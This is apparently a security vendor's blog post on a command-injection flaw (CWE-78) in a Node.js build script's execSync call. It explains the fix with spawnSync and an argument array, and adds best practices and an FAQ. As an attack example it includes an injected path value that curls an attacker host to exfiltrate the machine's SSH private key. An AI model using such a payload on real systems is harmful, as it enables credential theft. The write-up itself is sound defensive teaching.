Back to Blog
high SEVERITY5 min read

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

O
By Orbis AppSec
Published August 14, 2026Reviewed August 14, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js caused by passing function arguments (`sourceDir`, `outputPath`) into `execSync` with string interpolation, allowing shell metacharacter injection. The fix replaces `execSync` with `spawnSync` using an explicit argument array, which bypasses the shell entirely and prevents any injected characters from being interpreted as commands.

Vulnerability at a Glance

cweCWE-78
fixReplace execSync with spawnSync using an argument array (no shell invocation)
riskArbitrary command execution if sourceDir or outputPath contain shell metacharacters
languageJavaScript (Node.js)
root causeexecSync with string-interpolated function arguments passed through a shell
vulnerabilityCommand Injection via child_process

Introduction

The scripts/build.js file in this Node.js library handles packaging the extension source into a distributable .zip archive. At line 86, the createZip function accepted two parameters—sourceDir and outputPath—and passed them directly into an execSync shell command via string interpolation. This pattern created a command injection primitive: if either argument ever contained shell metacharacters (whether through upstream configuration, a compromised dependency, or a supply-chain attack), an attacker could execute arbitrary commands on the build machine.

Because this is a library consumed by downstream developers, the vulnerability doesn't just affect a single project—it affects every consumer who runs the build script with potentially tainted configuration values.

The Vulnerability Explained

Here's the vulnerable code from scripts/build.js (line 85–87):

// Create zip (exclude .DS_Store files)
execSync(`cd "${sourceDir}" && zip -r "${outputPath}" . -x "*.DS_Store"`, {
  stdio: 'inherit'
});

Why This Is Dangerous

The execSync function spawns a shell (/bin/sh on Unix) and passes the entire string to it for interpretation. The double quotes around ${sourceDir} and ${outputPath} provide only superficial protection. An attacker who controls either value can break out of the quotes and inject commands.

Concrete Attack Scenario

Imagine outputPath is derived from a configuration file or environment variable. An attacker who can influence that value could set it to:

/tmp/out.zip" && curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) && echo "

The resulting shell command becomes:

cd "/path/to/source" && zip -r "/tmp/out.zip" && curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) && echo "" . -x "*.DS_Store"

This exfiltrates the build machine's SSH private key. The attack works because execSync hands the entire string to a shell, which interprets &&, $(), backticks, and other metacharacters.

Real-World Impact

  • Build machine compromise: CI/CD secrets, signing keys, and credentials could be stolen.
  • Supply-chain poisoning: A compromised build could inject malicious code into the distributed package.
  • Lateral movement: Access to the build environment often provides paths to production infrastructure.

Even though sourceDir and outputPath are currently derived from internal constants (EXTENSION_DIR, OUTPUT_DIR), this is a latent exploit primitive. If any refactoring introduces user-controllable values upstream, the injection becomes immediately exploitable.

The Fix

The fix replaces execSync (shell-based) with spawnSync (no shell) and adds explicit error handling:

Before (Vulnerable)

const { execSync } = require('child_process');

// ...

execSync(`cd "${sourceDir}" && zip -r "${outputPath}" . -x "*.DS_Store"`, {
  stdio: 'inherit'
});

After (Hardened)

const { spawnSync } = require('child_process');

// ...

const result = spawnSync('zip', ['-r', outputPath, '.', '-x', '*.DS_Store'], {
  cwd: sourceDir,
  stdio: 'inherit'
});
if (result.error) {
  throw result.error;
}
if (result.status !== 0) {
  throw new Error(`zip exited with status ${result.status} while creating ${outputPath}`);
}

Why This Works

  1. No shell invocation: spawnSync with an argument array calls zip directly via execvp(). The arguments are passed as separate strings to the process—no shell ever interprets them. Shell metacharacters like &&, ;, $(), and backticks are treated as literal characters.

  2. cwd replaces cd: Instead of using cd "${sourceDir}" && (which requires shell interpretation), the fix uses the cwd option to set the working directory natively. This eliminates the need for shell command chaining.

  3. Explicit error handling: Unlike execSync which throws on non-zero exit, spawnSync returns a result object. The fix explicitly checks both result.error (spawn failure, e.g., zip not found) and result.status (non-zero exit code), ensuring build failures are caught rather than silently ignored.

  4. Behavior preservation: For valid inputs, the zip command receives identical arguments and produces identical output. Only malicious inputs are neutralized.

Prevention & Best Practices

1. Prefer spawn/spawnSync Over exec/execSync

Always use the argument-array form when calling external commands:

// ❌ Dangerous: shell interprets the string
execSync(`command "${userInput}"`);

// ✅ Safe: no shell, arguments passed directly
spawnSync('command', [userInput]);

2. Never Trust Function Arguments in Shell Commands

Even if arguments appear to come from internal sources today, code evolves. Treat all function parameters as potentially tainted.

3. Use cwd Instead of cd &&

The cwd option in spawn/spawnSync sets the working directory without requiring shell command chaining:

spawnSync('zip', ['-r', outputPath, '.'], { cwd: sourceDir });

4. Validate Paths Before Use

If you must use paths in commands, validate them against an allowlist or ensure they match expected patterns:

if (!/^[a-zA-Z0-9_\-./]+$/.test(outputPath)) {
  throw new Error('Invalid output path');
}

5. Enable Static Analysis

Use Semgrep with the javascript.lang.security.detect-child-process rule to catch these patterns during development and CI.

Key Takeaways

  • execSync with template literals is an exploit primitive — even when current inputs are safe, the pattern becomes dangerous the moment any upstream value becomes attacker-controlled.
  • The createZip function's sourceDir and outputPath parameters were passed directly into a shell — a single malicious character in either could compromise the entire build environment.
  • spawnSync with an argument array is the correct replacement — it eliminates shell interpretation entirely while maintaining identical behavior for valid inputs.
  • The cwd option replaces shell cd && ... chaining — removing the need for shell command composition.
  • Error handling must be explicit with spawnSync — unlike execSync, it doesn't throw on failure, so checking result.error and result.status prevents silent build corruption.

How Orbis AppSec Detected This

  • Source: Function parameters sourceDir and outputPath passed to createZip() in scripts/build.js
  • Sink: execSync() call at scripts/build.js:86 with string-interpolated arguments
  • Missing control: No input validation, no shell avoidance — arguments were interpolated directly into a shell command string
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced execSync with spawnSync using an argument array, eliminating shell interpretation and adding explicit exit-code checking

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates why execSync with string interpolation is considered an anti-pattern in Node.js security. Even in build scripts that appear to use only internal values, the pattern creates a latent injection point that can be activated by future refactoring, configuration changes, or supply-chain attacks. The fix—switching to spawnSync with an argument array—is straightforward, preserves all existing behavior, and completely eliminates the class of vulnerability. If your Node.js projects use execSync with interpolated values, audit them now and migrate to spawnSync.

References

Frequently Asked Questions

What is command injection via child_process?

Command injection via child_process occurs when user-controllable or externally-derived values are interpolated into shell command strings executed by functions like execSync, allowing attackers to inject arbitrary OS commands through shell metacharacters.

How do you prevent command injection in Node.js?

Use spawnSync or spawn with an argument array instead of execSync with string interpolation. Argument arrays pass parameters directly to the executable without shell interpretation, making metacharacter injection impossible.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is quoting arguments in execSync enough to prevent command injection?

No. Shell quoting can often be bypassed with techniques like backticks, $() subshells, or escaped quotes. The only reliable prevention is to avoid shell invocation entirely by using argument arrays with spawn/spawnSync.

Can static analysis detect command injection in child_process?

Yes. Tools like Semgrep have rules (e.g., javascript.lang.security.detect-child-process.detect-child-process) that flag calls to child_process functions where arguments originate from function parameters or user input.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #95

Related Articles

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.

high

How Email Exhaustion Denial of Service Happens in Node.js OTP Endpoints and How to Fix It

A Node.js authentication service exposed unauthenticated OTP endpoints without adequate rate limiting, allowing attackers to exhaust email service quotas through repeated requests. The fix implements per-session resend caps and cooldown enforcement to prevent email-based denial of service attacks while preserving legitimate user workflows.